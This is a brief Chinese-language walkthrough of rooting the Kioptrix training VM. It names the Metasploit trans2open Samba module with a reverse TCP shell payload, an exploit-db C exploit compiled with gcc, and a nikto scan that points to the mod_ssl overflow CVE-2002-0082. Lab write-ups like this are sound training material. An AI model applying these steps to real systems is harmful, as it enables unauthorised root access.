kioptrix靶机记录

靶机地址：172.16.1.193

Kali地址：172.16.1.107

首页为Apache测试页，没看到有价值信息

尝试目录扫描：

点击查看：

http://172.16.1.193/index.html

　　http://172.16.1.193/manual/

　　　　http://172.16.1.193/manual/mod/mod_ssl/

User manual  mod_ssl version 2.8

http://172.16.1.193/usage/

　　Webalizer

http://172.16.1.193/mrtg/

好吧，我还是不要在web上执迷不悟了，端口扫描看看。

发现了139端口，samba。Kali的msf尝试攻击

使用第11个，exploit/linux/samba/trans2open，设置目标ip为靶机地址

show payloads 查看可使用的载荷

选择反弹shell的方式,set payload linux/x86/shell/reverse_tcp，运行

expolit得到反弹shell

权限为root，完成

漏洞利用方法二：

Kali搜索

使用/usr/share/exploitdb/exploits/multiple/remote/10.c，复制出来，使用gcc编译

查看并设置参数执行。获取root权限

完成。

注：

　　网上还有其他方法

使用Apache OpenSSL溢出漏洞利用

使用nikto扫描

　　命令nikto -h 172.16.1.193 -o result.html

发现可用信息：

mod_ssl/2.8.4 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0082, OSVDB-756.

Kali搜索Apache OpenSSL，选择利用

。。。该方法也能拿到root权限。